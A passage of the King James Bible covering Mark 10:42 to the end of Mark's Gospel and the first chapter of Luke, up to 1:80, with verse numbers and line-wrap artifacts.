exercise authority upon them. + +10:43 But so shall it not be among you: but whosoever will be great +among you, shall be your minister: 10:44 And whosoever of you will be +the chiefest, shall be servant of all. + +10:45 For even the Son of man came not to be ministered unto, but to +minister, and to give his life a ransom for many. + +10:46 And they came to Jericho: and as he went out of Jericho with his +disciples and a great number of people, blind Bartimaeus, the son of +Timaeus, sat by the highway side begging. + +10:47 And when he heard that it was Jesus of Nazareth, he began to cry +out, and say, Jesus, thou son of David, have mercy on me. + +10:48 And many charged him that he should hold his peace: but he cried +the more a great deal, Thou son of David, have mercy on me. + +10:49 And Jesus stood still, and commanded him to be called. And they +call the blind man, saying unto him, Be of good comfort, rise; he +calleth thee. + +10:50 And he, casting away his garment, rose, and came to Jesus. + +10:51 And Jesus answered and said unto him, What wilt thou that I +should do unto thee? The blind man said unto him, Lord, that I might +receive my sight. + +10:52 And Jesus said unto him, Go thy way; thy faith hath made thee +whole. + +And immediately he received his sight, and followed Jesus in the way. + +11:1 And when they came nigh to Jerusalem, unto Bethphage and Bethany, +at the mount of Olives, he sendeth forth two of his disciples, 11:2 +And saith unto them, Go your way into the village over against you: +and as soon as ye be entered into it, ye shall find a colt tied, +whereon never man sat; loose him, and bring him. + +11:3 And if any man say unto you, Why do ye this? say ye that the Lord +hath need of him; and straightway he will send him hither. + +11:4 And they went their way, and found the colt tied by the door +without in a place where two ways met; and they loose him. + +11:5 And certain of them that stood there said unto them, What do ye, +loosing the colt? 11:6 And they said unto them even as Jesus had +commanded: and they let them go. + +11:7 And they brought the colt to Jesus, and cast their garments on +him; and he sat upon him. + +11:8 And many spread their garments in the way: and others cut down +branches off the trees, and strawed them in the way. + +11:9 And they that went before, and they that followed, cried, saying, +Hosanna; Blessed is he that cometh in the name of the Lord: 11:10 +Blessed be the kingdom of our father David, that cometh in the name of +the Lord: Hosanna in the highest. + +11:11 And Jesus entered into Jerusalem, and into the temple: and when +he had looked round about upon all things, and now the eventide was +come, he went out unto Bethany with the twelve. + +11:12 And on the morrow, when they were come from Bethany, he was +hungry: 11:13 And seeing a fig tree afar off having leaves, he came, +if haply he might find any thing thereon: and when he came to it, he +found nothing but leaves; for the time of figs was not yet. + +11:14 And Jesus answered and said unto it, No man eat fruit of thee +hereafter for ever. And his disciples heard it. + +11:15 And they come to Jerusalem: and Jesus went into the temple, and +began to cast out them that sold and bought in the temple, and +overthrew the tables of the moneychangers, and the seats of them that +sold doves; 11:16 And would not suffer that any man should carry any +vessel through the temple. + +11:17 And he taught, saying unto them, Is it not written, My house +shall be called of all nations the house of prayer? but ye have made +it a den of thieves. + +11:18 And the scribes and chief priests heard it, and sought how they +might destroy him: for they feared him, because all the people was +astonished at his doctrine. + +11:19 And when even was come, he went out of the city. + +11:20 And in the morning, as they passed by, they saw the fig tree +dried up from the roots. + +11:21 And Peter calling to remembrance saith unto him, Master, behold, +the fig tree which thou cursedst is withered away. + +11:22 And Jesus answering saith unto them, Have faith in God. + +11:23 For verily I say unto you, That whosoever shall say unto this +mountain, Be thou removed, and be thou cast into the sea; and shall +not doubt in his heart, but shall believe that those things which he +saith shall come to pass; he shall have whatsoever he saith. + +11:24 Therefore I say unto you, What things soever ye desire, when ye +pray, believe that ye receive them, and ye shall have them. + +11:25 And when ye stand praying, forgive, if ye have ought against +any: that your Father also which is in heaven may forgive you your +trespasses. + +11:26 But if ye do not forgive, neither will your Father which is in +heaven forgive your trespasses. + +11:27 And they come again to Jerusalem: and as he was walking in the +temple, there come to him the chief priests, and the scribes, and the +elders, 11:28 And say unto him, By what authority doest thou these +things? and who gave thee this authority to do these things? 11:29 +And Jesus answered and said unto them, I will also ask of you one +question, and answer me, and I will tell you by what authority I do +these things. + +11:30 The baptism of John, was it from heaven, or of men? answer me. + +11:31 And they reasoned with themselves, saying, If we shall say, From +heaven; he will say, Why then did ye not believe him? 11:32 But if we +shall say, Of men; they feared the people: for all men counted John, +that he was a prophet indeed. + +11:33 And they answered and said unto Jesus, We cannot tell. And Jesus +answering saith unto them, Neither do I tell you by what authority I +do these things. + +12:1 And he began to speak unto them by parables. A certain man +planted a vineyard, and set an hedge about it, and digged a place for +the winefat, and built a tower, and let it out to husbandmen, and went +into a far country. + +12:2 And at the season he sent to the husbandmen a servant, that he +might receive from the husbandmen of the fruit of the vineyard. + +12:3 And they caught him, and beat him, and sent him away empty. + +12:4 And again he sent unto them another servant; and at him they cast +stones, and wounded him in the head, and sent him away shamefully +handled. + +12:5 And again he sent another; and him they killed, and many others; +beating some, and killing some. + +12:6 Having yet therefore one son, his wellbeloved, he sent him also +last unto them, saying, They will reverence my son. + +12:7 But those husbandmen said among themselves, This is the heir; +come, let us kill him, and the inheritance shall be our's. + +12:8 And they took him, and killed him, and cast him out of the +vineyard. + +12:9 What shall therefore the lord of the vineyard do? he will come +and destroy the husbandmen, and will give the vineyard unto others. + +12:10 And have ye not read this scripture; The stone which the +builders rejected is become the head of the corner: 12:11 This was the +Lord's doing, and it is marvellous in our eyes? 12:12 And they sought +to lay hold on him, but feared the people: for they knew that he had +spoken the parable against them: and they left him, and went their +way. + +12:13 And they send unto him certain of the Pharisees and of the +Herodians, to catch him in his words. + +12:14 And when they were come, they say unto him, Master, we know that +thou art true, and carest for no man: for thou regardest not the +person of men, but teachest the way of God in truth: Is it lawful to +give tribute to Caesar, or not? 12:15 Shall we give, or shall we not +give? But he, knowing their hypocrisy, said unto them, Why tempt ye +me? bring me a penny, that I may see it. + +12:16 And they brought it. And he saith unto them, Whose is this image +and superscription? And they said unto him, Caesar's. + +12:17 And Jesus answering said unto them, Render to Caesar the things +that are Caesar's, and to God the things that are God's. And they +marvelled at him. + +12:18 Then come unto him the Sadducees, which say there is no +resurrection; and they asked him, saying, 12:19 Master, Moses wrote +unto us, If a man's brother die, and leave his wife behind him, and +leave no children, that his brother should take his wife, and raise up +seed unto his brother. + +12:20 Now there were seven brethren: and the first took a wife, and +dying left no seed. + +12:21 And the second took her, and died, neither left he any seed: and +the third likewise. + +12:22 And the seven had her, and left no seed: last of all the woman +died also. + +12:23 In the resurrection therefore, when they shall rise, whose wife +shall she be of them? for the seven had her to wife. + +12:24 And Jesus answering said unto them, Do ye not therefore err, +because ye know not the scriptures, neither the power of God? 12:25 +For when they shall rise from the dead, they neither marry, nor are +given in marriage; but are as the angels which are in heaven. + +12:26 And as touching the dead, that they rise: have ye not read in +the book of Moses, how in the bush God spake unto him, saying, I am +the God of Abraham, and the God of Isaac, and the God of Jacob? 12:27 +He is not the God of the dead, but the God of the living: ye therefore +do greatly err. + +12:28 And one of the scribes came, and having heard them reasoning +together, and perceiving that he had answered them well, asked him, +Which is the first commandment of all? 12:29 And Jesus answered him, +The first of all the commandments is, Hear, O Israel; The Lord our God +is one Lord: 12:30 And thou shalt love the Lord thy God with all thy +heart, and with all thy soul, and with all thy mind, and with all thy +strength: this is the first commandment. + +12:31 And the second is like, namely this, Thou shalt love thy +neighbour as thyself. There is none other commandment greater than +these. + +12:32 And the scribe said unto him, Well, Master, thou hast said the +truth: for there is one God; and there is none other but he: 12:33 And +to love him with all the heart, and with all the understanding, and +with all the soul, and with all the strength, and to love his +neighbour as himself, is more than all whole burnt offerings and +sacrifices. + +12:34 And when Jesus saw that he answered discreetly, he said unto +him, Thou art not far from the kingdom of God. And no man after that +durst ask him any question. + +12:35 And Jesus answered and said, while he taught in the temple, How +say the scribes that Christ is the son of David? 12:36 For David +himself said by the Holy Ghost, The LORD said to my Lord, Sit thou on +my right hand, till I make thine enemies thy footstool. + +12:37 David therefore himself calleth him Lord; and whence is he then +his son? And the common people heard him gladly. + +12:38 And he said unto them in his doctrine, Beware of the scribes, +which love to go in long clothing, and love salutations in the +marketplaces, 12:39 And the chief seats in the synagogues, and the +uppermost rooms at feasts: 12:40 Which devour widows' houses, and for +a pretence make long prayers: these shall receive greater damnation. + +12:41 And Jesus sat over against the treasury, and beheld how the +people cast money into the treasury: and many that were rich cast in +much. + +12:42 And there came a certain poor widow, and she threw in two mites, +which make a farthing. + +12:43 And he called unto him his disciples, and saith unto them, +Verily I say unto you, That this poor widow hath cast more in, than +all they which have cast into the treasury: 12:44 For all they did +cast in of their abundance; but she of her want did cast in all that +she had, even all her living. + +13:1 And as he went out of the temple, one of his disciples saith unto +him, Master, see what manner of stones and what buildings are here! +13:2 And Jesus answering said unto him, Seest thou these great +buildings? there shall not be left one stone upon another, that shall +not be thrown down. + +13:3 And as he sat upon the mount of Olives over against the temple, +Peter and James and John and Andrew asked him privately, 13:4 Tell us, +when shall these things be? and what shall be the sign when all these +things shall be fulfilled? 13:5 And Jesus answering them began to +say, Take heed lest any man deceive you: 13:6 For many shall come in +my name, saying, I am Christ; and shall deceive many. + +13:7 And when ye shall hear of wars and rumours of wars, be ye not +troubled: for such things must needs be; but the end shall not be yet. + +13:8 For nation shall rise against nation, and kingdom against +kingdom: and there shall be earthquakes in divers places, and there +shall be famines and troubles: these are the beginnings of sorrows. + +13:9 But take heed to yourselves: for they shall deliver you up to +councils; and in the synagogues ye shall be beaten: and ye shall be +brought before rulers and kings for my sake, for a testimony against +them. + +13:10 And the gospel must first be published among all nations. + +13:11 But when they shall lead you, and deliver you up, take no +thought beforehand what ye shall speak, neither do ye premeditate: but +whatsoever shall be given you in that hour, that speak ye: for it is +not ye that speak, but the Holy Ghost. + +13:12 Now the brother shall betray the brother to death, and the +father the son; and children shall rise up against their parents, and +shall cause them to be put to death. + +13:13 And ye shall be hated of all men for my name's sake: but he that +shall endure unto the end, the same shall be saved. + +13:14 But when ye shall see the abomination of desolation, spoken of +by Daniel the prophet, standing where it ought not, (let him that +readeth understand,) then let them that be in Judaea flee to the +mountains: 13:15 And let him that is on the housetop not go down into +the house, neither enter therein, to take any thing out of his house: +13:16 And let him that is in the field not turn back again for to take +up his garment. + +13:17 But woe to them that are with child, and to them that give suck +in those days! 13:18 And pray ye that your flight be not in the +winter. + +13:19 For in those days shall be affliction, such as was not from the +beginning of the creation which God created unto this time, neither +shall be. + +13:20 And except that the Lord had shortened those days, no flesh +should be saved: but for the elect's sake, whom he hath chosen, he +hath shortened the days. + +13:21 And then if any man shall say to you, Lo, here is Christ; or, +lo, he is there; believe him not: 13:22 For false Christs and false +prophets shall rise, and shall shew signs and wonders, to seduce, if +it were possible, even the elect. + +13:23 But take ye heed: behold, I have foretold you all things. + +13:24 But in those days, after that tribulation, the sun shall be +darkened, and the moon shall not give her light, 13:25 And the stars +of heaven shall fall, and the powers that are in heaven shall be +shaken. + +13:26 And then shall they see the Son of man coming in the clouds with +great power and glory. + +13:27 And then shall he send his angels, and shall gather together his +elect from the four winds, from the uttermost part of the earth to the +uttermost part of heaven. + +13:28 Now learn a parable of the fig tree; When her branch is yet +tender, and putteth forth leaves, ye know that summer is near: 13:29 +So ye in like manner, when ye shall see these things come to pass, +know that it is nigh, even at the doors. + +13:30 Verily I say unto you, that this generation shall not pass, till +all these things be done. + +13:31 Heaven and earth shall pass away: but my words shall not pass +away. + +13:32 But of that day and that hour knoweth no man, no, not the angels +which are in heaven, neither the Son, but the Father. + +13:33 Take ye heed, watch and pray: for ye know not when the time is. + +13:34 For the Son of Man is as a man taking a far journey, who left +his house, and gave authority to his servants, and to every man his +work, and commanded the porter to watch. + +13:35 Watch ye therefore: for ye know not when the master of the house +cometh, at even, or at midnight, or at the cockcrowing, or in the +morning: 13:36 Lest coming suddenly he find you sleeping. + +13:37 And what I say unto you I say unto all, Watch. + +14:1 After two days was the feast of the passover, and of unleavened +bread: and the chief priests and the scribes sought how they might +take him by craft, and put him to death. + +14:2 But they said, Not on the feast day, lest there be an uproar of +the people. + +14:3 And being in Bethany in the house of Simon the leper, as he sat +at meat, there came a woman having an alabaster box of ointment of +spikenard very precious; and she brake the box, and poured it on his +head. + +14:4 And there were some that had indignation within themselves, and +said, Why was this waste of the ointment made? 14:5 For it might have +been sold for more than three hundred pence, and have been given to +the poor. And they murmured against her. + +14:6 And Jesus said, Let her alone; why trouble ye her? she hath +wrought a good work on me. + +14:7 For ye have the poor with you always, and whensoever ye will ye +may do them good: but me ye have not always. + +14:8 She hath done what she could: she is come aforehand to anoint my +body to the burying. + +14:9 Verily I say unto you, Wheresoever this gospel shall be preached +throughout the whole world, this also that she hath done shall be +spoken of for a memorial of her. + +14:10 And Judas Iscariot, one of the twelve, went unto the chief +priests, to betray him unto them. + +14:11 And when they heard it, they were glad, and promised to give him +money. And he sought how he might conveniently betray him. + +14:12 And the first day of unleavened bread, when they killed the +passover, his disciples said unto him, Where wilt thou that we go and +prepare that thou mayest eat the passover? 14:13 And he sendeth forth +two of his disciples, and saith unto them, Go ye into the city, and +there shall meet you a man bearing a pitcher of water: follow him. + +14:14 And wheresoever he shall go in, say ye to the goodman of the +house, The Master saith, Where is the guestchamber, where I shall eat +the passover with my disciples? 14:15 And he will shew you a large +upper room furnished and prepared: there make ready for us. + +14:16 And his disciples went forth, and came into the city, and found +as he had said unto them: and they made ready the passover. + +14:17 And in the evening he cometh with the twelve. + +14:18 And as they sat and did eat, Jesus said, Verily I say unto you, +One of you which eateth with me shall betray me. + +14:19 And they began to be sorrowful, and to say unto him one by one, +Is it I? and another said, Is it I? 14:20 And he answered and said +unto them, It is one of the twelve, that dippeth with me in the dish. + +14:21 The Son of man indeed goeth, as it is written of him: but woe to +that man by whom the Son of man is betrayed! good were it for that man +if he had never been born. + +14:22 And as they did eat, Jesus took bread, and blessed, and brake +it, and gave to them, and said, Take, eat: this is my body. + +14:23 And he took the cup, and when he had given thanks, he gave it to +them: and they all drank of it. + +14:24 And he said unto them, This is my blood of the new testament, +which is shed for many. + +14:25 Verily I say unto you, I will drink no more of the fruit of the +vine, until that day that I drink it new in the kingdom of God. + +14:26 And when they had sung an hymn, they went out into the mount of +Olives. + +14:27 And Jesus saith unto them, All ye shall be offended because of +me this night: for it is written, I will smite the shepherd, and the +sheep shall be scattered. + +14:28 But after that I am risen, I will go before you into Galilee. + +14:29 But Peter said unto him, Although all shall be offended, yet +will not I. + +14:30 And Jesus saith unto him, Verily I say unto thee, That this day, +even in this night, before the cock crow twice, thou shalt deny me +thrice. + +14:31 But he spake the more vehemently, If I should die with thee, I +will not deny thee in any wise. Likewise also said they all. + +14:32 And they came to a place which was named Gethsemane: and he +saith to his disciples, Sit ye here, while I shall pray. + +14:33 And he taketh with him Peter and James and John, and began to be +sore amazed, and to be very heavy; 14:34 And saith unto them, My soul +is exceeding sorrowful unto death: tarry ye here, and watch. + +14:35 And he went forward a little, and fell on the ground, and prayed +that, if it were possible, the hour might pass from him. + +14:36 And he said, Abba, Father, all things are possible unto thee; +take away this cup from me: nevertheless not what I will, but what +thou wilt. + +14:37 And he cometh, and findeth them sleeping, and saith unto Peter, +Simon, sleepest thou? couldest not thou watch one hour? 14:38 Watch +ye and pray, lest ye enter into temptation. The spirit truly is ready, +but the flesh is weak. + +14:39 And again he went away, and prayed, and spake the same words. + +14:40 And when he returned, he found them asleep again, (for their +eyes were heavy,) neither wist they what to answer him. + +14:41 And he cometh the third time, and saith unto them, Sleep on now, +and take your rest: it is enough, the hour is come; behold, the Son of +man is betrayed into the hands of sinners. + +14:42 Rise up, let us go; lo, he that betrayeth me is at hand. + +14:43 And immediately, while he yet spake, cometh Judas, one of the +twelve, and with him a great multitude with swords and staves, from +the chief priests and the scribes and the elders. + +14:44 And he that betrayed him had given them a token, saying, +Whomsoever I shall kiss, that same is he; take him, and lead him away +safely. + +14:45 And as soon as he was come, he goeth straightway to him, and +saith, Master, master; and kissed him. + +14:46 And they laid their hands on him, and took him. + +14:47 And one of them that stood by drew a sword, and smote a servant +of the high priest, and cut off his ear. + +14:48 And Jesus answered and said unto them, Are ye come out, as +against a thief, with swords and with staves to take me? 14:49 I was +daily with you in the temple teaching, and ye took me not: but the +scriptures must be fulfilled. + +14:50 And they all forsook him, and fled. + +14:51 And there followed him a certain young man, having a linen cloth +cast about his naked body; and the young men laid hold on him: 14:52 +And he left the linen cloth, and fled from them naked. + +14:53 And they led Jesus away to the high priest: and with him were +assembled all the chief priests and the elders and the scribes. + +14:54 And Peter followed him afar off, even into the palace of the +high priest: and he sat with the servants, and warmed himself at the +fire. + +14:55 And the chief priests and all the council sought for witness +against Jesus to put him to death; and found none. + +14:56 For many bare false witness against him, but their witness +agreed not together. + +14:57 And there arose certain, and bare false witness against him, +saying, 14:58 We heard him say, I will destroy this temple that is +made with hands, and within three days I will build another made +without hands. + +14:59 But neither so did their witness agree together. + +14:60 And the high priest stood up in the midst, and asked Jesus, +saying, Answerest thou nothing? what is it which these witness against +thee? 14:61 But he held his peace, and answered nothing. Again the +high priest asked him, and said unto him, Art thou the Christ, the Son +of the Blessed? 14:62 And Jesus said, I am: and ye shall see the Son +of man sitting on the right hand of power, and coming in the clouds of +heaven. + +14:63 Then the high priest rent his clothes, and saith, What need we +any further witnesses? 14:64 Ye have heard the blasphemy: what think +ye? And they all condemned him to be guilty of death. + +14:65 And some began to spit on him, and to cover his face, and to +buffet him, and to say unto him, Prophesy: and the servants did strike +him with the palms of their hands. + +14:66 And as Peter was beneath in the palace, there cometh one of the +maids of the high priest: 14:67 And when she saw Peter warming +himself, she looked upon him, and said, And thou also wast with Jesus +of Nazareth. + +14:68 But he denied, saying, I know not, neither understand I what +thou sayest. And he went out into the porch; and the cock crew. + +14:69 And a maid saw him again, and began to say to them that stood +by, This is one of them. + +14:70 And he denied it again. And a little after, they that stood by +said again to Peter, Surely thou art one of them: for thou art a +Galilaean, and thy speech agreeth thereto. + +14:71 But he began to curse and to swear, saying, I know not this man +of whom ye speak. + +14:72 And the second time the cock crew. And Peter called to mind the +word that Jesus said unto him, Before the cock crow twice, thou shalt +deny me thrice. And when he thought thereon, he wept. + +15:1 And straightway in the morning the chief priests held a +consultation with the elders and scribes and the whole council, and +bound Jesus, and carried him away, and delivered him to Pilate. + +15:2 And Pilate asked him, Art thou the King of the Jews? And he +answering said unto them, Thou sayest it. + +15:3 And the chief priests accused him of many things: but he answered +nothing. + +15:4 And Pilate asked him again, saying, Answerest thou nothing? +behold how many things they witness against thee. + +15:5 But Jesus yet answered nothing; so that Pilate marvelled. + +15:6 Now at that feast he released unto them one prisoner, whomsoever +they desired. + +15:7 And there was one named Barabbas, which lay bound with them that +had made insurrection with him, who had committed murder in the +insurrection. + +15:8 And the multitude crying aloud began to desire him to do as he +had ever done unto them. + +15:9 But Pilate answered them, saying, Will ye that I release unto you +the King of the Jews? 15:10 For he knew that the chief priests had +delivered him for envy. + +15:11 But the chief priests moved the people, that he should rather +release Barabbas unto them. + +15:12 And Pilate answered and said again unto them, What will ye then +that I shall do unto him whom ye call the King of the Jews? 15:13 And +they cried out again, Crucify him. + +15:14 Then Pilate said unto them, Why, what evil hath he done? And +they cried out the more exceedingly, Crucify him. + +15:15 And so Pilate, willing to content the people, released Barabbas +unto them, and delivered Jesus, when he had scourged him, to be +crucified. + +15:16 And the soldiers led him away into the hall, called Praetorium; +and they call together the whole band. + +15:17 And they clothed him with purple, and platted a crown of thorns, +and put it about his head, 15:18 And began to salute him, Hail, King +of the Jews! 15:19 And they smote him on the head with a reed, and +did spit upon him, and bowing their knees worshipped him. + +15:20 And when they had mocked him, they took off the purple from him, +and put his own clothes on him, and led him out to crucify him. + +15:21 And they compel one Simon a Cyrenian, who passed by, coming out +of the country, the father of Alexander and Rufus, to bear his cross. + +15:22 And they bring him unto the place Golgotha, which is, being +interpreted, The place of a skull. + +15:23 And they gave him to drink wine mingled with myrrh: but he +received it not. + +15:24 And when they had crucified him, they parted his garments, +casting lots upon them, what every man should take. + +15:25 And it was the third hour, and they crucified him. + +15:26 And the superscription of his accusation was written over, THE +KING OF THE JEWS. + +15:27 And with him they crucify two thieves; the one on his right +hand, and the other on his left. + +15:28 And the scripture was fulfilled, which saith, And he was +numbered with the transgressors. + +15:29 And they that passed by railed on him, wagging their heads, and +saying, Ah, thou that destroyest the temple, and buildest it in three +days, 15:30 Save thyself, and come down from the cross. + +15:31 Likewise also the chief priests mocking said among themselves +with the scribes, He saved others; himself he cannot save. + +15:32 Let Christ the King of Israel descend now from the cross, that +we may see and believe. And they that were crucified with him reviled +him. + +15:33 And when the sixth hour was come, there was darkness over the +whole land until the ninth hour. + +15:34 And at the ninth hour Jesus cried with a loud voice, saying, +Eloi, Eloi, lama sabachthani? which is, being interpreted, My God, my +God, why hast thou forsaken me? 15:35 And some of them that stood by, +when they heard it, said, Behold, he calleth Elias. + +15:36 And one ran and filled a spunge full of vinegar, and put it on a +reed, and gave him to drink, saying, Let alone; let us see whether +Elias will come to take him down. + +15:37 And Jesus cried with a loud voice, and gave up the ghost. + +15:38 And the veil of the temple was rent in twain from the top to the +bottom. + +15:39 And when the centurion, which stood over against him, saw that +he so cried out, and gave up the ghost, he said, Truly this man was +the Son of God. + +15:40 There were also women looking on afar off: among whom was Mary +Magdalene, and Mary the mother of James the less and of Joses, and +Salome; 15:41 (Who also, when he was in Galilee, followed him, and +ministered unto him;) and many other women which came up with him unto +Jerusalem. + +15:42 And now when the even was come, because it was the preparation, +that is, the day before the sabbath, 15:43 Joseph of Arimathaea, an +honourable counsellor, which also waited for the kingdom of God, came, +and went in boldly unto Pilate, and craved the body of Jesus. + +15:44 And Pilate marvelled if he were already dead: and calling unto +him the centurion, he asked him whether he had been any while dead. + +15:45 And when he knew it of the centurion, he gave the body to +Joseph. + +15:46 And he bought fine linen, and took him down, and wrapped him in +the linen, and laid him in a sepulchre which was hewn out of a rock, +and rolled a stone unto the door of the sepulchre. + +15:47 And Mary Magdalene and Mary the mother of Joses beheld where he +was laid. + +16:1 And when the sabbath was past, Mary Magdalene, and Mary the +mother of James, and Salome, had bought sweet spices, that they might +come and anoint him. + +16:2 And very early in the morning the first day of the week, they +came unto the sepulchre at the rising of the sun. + +16:3 And they said among themselves, Who shall roll us away the stone +from the door of the sepulchre? 16:4 And when they looked, they saw +that the stone was rolled away: for it was very great. + +16:5 And entering into the sepulchre, they saw a young man sitting on +the right side, clothed in a long white garment; and they were +affrighted. + +16:6 And he saith unto them, Be not affrighted: Ye seek Jesus of +Nazareth, which was crucified: he is risen; he is not here: behold the +place where they laid him. + +16:7 But go your way, tell his disciples and Peter that he goeth +before you into Galilee: there shall ye see him, as he said unto you. + +16:8 And they went out quickly, and fled from the sepulchre; for they +trembled and were amazed: neither said they any thing to any man; for +they were afraid. + +16:9 Now when Jesus was risen early the first day of the week, he +appeared first to Mary Magdalene, out of whom he had cast seven +devils. + +16:10 And she went and told them that had been with him, as they +mourned and wept. + +16:11 And they, when they had heard that he was alive, and had been +seen of her, believed not. + +16:12 After that he appeared in another form unto two of them, as they +walked, and went into the country. + +16:13 And they went and told it unto the residue: neither believed +they them. + +16:14 Afterward he appeared unto the eleven as they sat at meat, and +upbraided them with their unbelief and hardness of heart, because they +believed not them which had seen him after he was risen. + +16:15 And he said unto them, Go ye into all the world, and preach the +gospel to every creature. + +16:16 He that believeth and is baptized shall be saved; but he that +believeth not shall be damned. + +16:17 And these signs shall follow them that believe; In my name shall +they cast out devils; they shall speak with new tongues; 16:18 They +shall take up serpents; and if they drink any deadly thing, it shall +not hurt them; they shall lay hands on the sick, and they shall +recover. + +16:19 So then after the Lord had spoken unto them, he was received up +into heaven, and sat on the right hand of God. + +16:20 And they went forth, and preached every where, the Lord working +with them, and confirming the word with signs following. Amen. + + + +The Gospel According to Saint Luke + + +1:1 Forasmuch as many have taken in hand to set forth in order a +declaration of those things which are most surely believed among us, +1:2 Even as they delivered them unto us, which from the beginning were +eyewitnesses, and ministers of the word; 1:3 It seemed good to me +also, having had perfect understanding of all things from the very +first, to write unto thee in order, most excellent Theophilus, 1:4 +That thou mightest know the certainty of those things, wherein thou +hast been instructed. + +1:5 THERE was in the days of Herod, the king of Judaea, a certain +priest named Zacharias, of the course of Abia: and his wife was of the +daughters of Aaron, and her name was Elisabeth. + +1:6 And they were both righteous before God, walking in all the +commandments and ordinances of the Lord blameless. + +1:7 And they had no child, because that Elisabeth was barren, and they +both were now well stricken in years. + +1:8 And it came to pass, that while he executed the priest's office +before God in the order of his course, 1:9 According to the custom of +the priest's office, his lot was to burn incense when he went into the +temple of the Lord. + +1:10 And the whole multitude of the people were praying without at the +time of incense. + +1:11 And there appeared unto him an angel of the Lord standing on the +right side of the altar of incense. + +1:12 And when Zacharias saw him, he was troubled, and fear fell upon +him. + +1:13 But the angel said unto him, Fear not, Zacharias: for thy prayer +is heard; and thy wife Elisabeth shall bear thee a son, and thou shalt +call his name John. + +1:14 And thou shalt have joy and gladness; and many shall rejoice at +his birth. + +1:15 For he shall be great in the sight of the Lord, and shall drink +neither wine nor strong drink; and he shall be filled with the Holy +Ghost, even from his mother's womb. + +1:16 And many of the children of Israel shall he turn to the Lord +their God. + +1:17 And he shall go before him in the spirit and power of Elias, to +turn the hearts of the fathers to the children, and the disobedient to +the wisdom of the just; to make ready a people prepared for the Lord. + +1:18 And Zacharias said unto the angel, Whereby shall I know this? for +I am an old man, and my wife well stricken in years. + +1:19 And the angel answering said unto him, I am Gabriel, that stand +in the presence of God; and am sent to speak unto thee, and to shew +thee these glad tidings. + +1:20 And, behold, thou shalt be dumb, and not able to speak, until the +day that these things shall be performed, because thou believest not +my words, which shall be fulfilled in their season. + +1:21 And the people waited for Zacharias, and marvelled that he +tarried so long in the temple. + +1:22 And when he came out, he could not speak unto them: and they +perceived that he had seen a vision in the temple: for he beckoned +unto them, and remained speechless. + +1:23 And it came to pass, that, as soon as the days of his +ministration were accomplished, he departed to his own house. + +1:24 And after those days his wife Elisabeth conceived, and hid +herself five months, saying, 1:25 Thus hath the Lord dealt with me in +the days wherein he looked on me, to take away my reproach among men. + +1:26 And in the sixth month the angel Gabriel was sent from God unto a +city of Galilee, named Nazareth, 1:27 To a virgin espoused to a man +whose name was Joseph, of the house of David; and the virgin's name +was Mary. + +1:28 And the angel came in unto her, and said, Hail, thou that art +highly favoured, the Lord is with thee: blessed art thou among women. + +1:29 And when she saw him, she was troubled at his saying, and cast in +her mind what manner of salutation this should be. + +1:30 And the angel said unto her, Fear not, Mary: for thou hast found +favour with God. + +1:31 And, behold, thou shalt conceive in thy womb, and bring forth a +son, and shalt call his name JESUS. + +1:32 He shall be great, and shall be called the Son of the Highest: +and the Lord God shall give unto him the throne of his father David: +1:33 And he shall reign over the house of Jacob for ever; and of his +kingdom there shall be no end. + +1:34 Then said Mary unto the angel, How shall this be, seeing I know +not a man? 1:35 And the angel answered and said unto her, The Holy +Ghost shall come upon thee, and the power of the Highest shall +overshadow thee: therefore also that holy thing which shall be born of +thee shall be called the Son of God. + +1:36 And, behold, thy cousin Elisabeth, she hath also conceived a son +in her old age: and this is the sixth month with her, who was called +barren. + +1:37 For with God nothing shall be impossible. + +1:38 And Mary said, Behold the handmaid of the Lord; be it unto me +according to thy word. And the angel departed from her. + +1:39 And Mary arose in those days, and went into the hill country with +haste, into a city of Juda; 1:40 And entered into the house of +Zacharias, and saluted Elisabeth. + +1:41 And it came to pass, that, when Elisabeth heard the salutation of +Mary, the babe leaped in her womb; and Elisabeth was filled with the +Holy Ghost: 1:42 And she spake out with a loud voice, and said, +Blessed art thou among women, and blessed is the fruit of thy womb. + +1:43 And whence is this to me, that the mother of my Lord should come +to me? 1:44 For, lo, as soon as the voice of thy salutation sounded +in mine ears, the babe leaped in my womb for joy. + +1:45 And blessed is she that believed: for there shall be a +performance of those things which were told her from the Lord. + +1:46 And Mary said, My soul doth magnify the Lord, 1:47 And my spirit +hath rejoiced in God my Saviour. + +1:48 For he hath regarded the low estate of his handmaiden: for, +behold, from henceforth all generations shall call me blessed. + +1:49 For he that is mighty hath done to me great things; and holy is +his name. + +1:50 And his mercy is on them that fear him from generation to +generation. + +1:51 He hath shewed strength with his arm; he hath scattered the proud +in the imagination of their hearts. + +1:52 He hath put down the mighty from their seats, and exalted them of +low degree. + +1:53 He hath filled the hungry with good things; and the rich he hath +sent empty away. + +1:54 He hath holpen his servant Israel, in remembrance of his mercy; +1:55 As he spake to our fathers, to Abraham, and to his seed for ever. + +1:56 And Mary abode with her about three months, and returned to her +own house. + +1:57 Now Elisabeth's full time came that she should be delivered; and +she brought forth a son. + +1:58 And her neighbours and her cousins heard how the Lord had shewed +great mercy upon her; and they rejoiced with her. + +1:59 And it came to pass, that on the eighth day they came to +circumcise the child; and they called him Zacharias, after the name of +his father. + +1:60 And his mother answered and said, Not so; but he shall be called +John. + +1:61 And they said unto her, There is none of thy kindred that is +called by this name. + +1:62 And they made signs to his father, how he would have him called. + +1:63 And he asked for a writing table, and wrote, saying, His name is +John. And they marvelled all. + +1:64 And his mouth was opened immediately, and his tongue loosed, and +he spake, and praised God. + +1:65 And fear came on all that dwelt round about them: and all these +sayings were noised abroad throughout all the hill country of Judaea. + +1:66 And all they that heard them laid them up in their hearts, +saying, What manner of child shall this be! And the hand of the Lord +was with him. + +1:67 And his father Zacharias was filled with the Holy Ghost, and +prophesied, saying, 1:68 Blessed be the Lord God of Israel; for he +hath visited and redeemed his people, 1:69 And hath raised up an horn +of salvation for us in the house of his servant David; 1:70 As he +spake by the mouth of his holy prophets, which have been since the +world began: 1:71 That we should be saved from our enemies, and from +the hand of all that hate us; 1:72 To perform the mercy promised to +our fathers, and to remember his holy covenant; 1:73 The oath which he +sware to our father Abraham, 1:74 That he would grant unto us, that we +being delivered out of the hand of our enemies might serve him without +fear, 1:75 In holiness and righteousness before him, all the days of +our life. + +1:76 And thou, child, shalt be called the prophet of the Highest: for +thou shalt go before the face of the Lord to prepare his ways; 1:77 To +give knowledge of salvation unto his people by the remission of their +sins, 1:78 Through the tender mercy of our God; whereby the dayspring +from on high hath visited us, 1:79 To give light to them that sit in +darkness and in the shadow of death, to guide our feet into the way of +peace. + +1:80 And the child grew, and waxed strong in spirit, and was in the +deserts till the day of his shewing unto 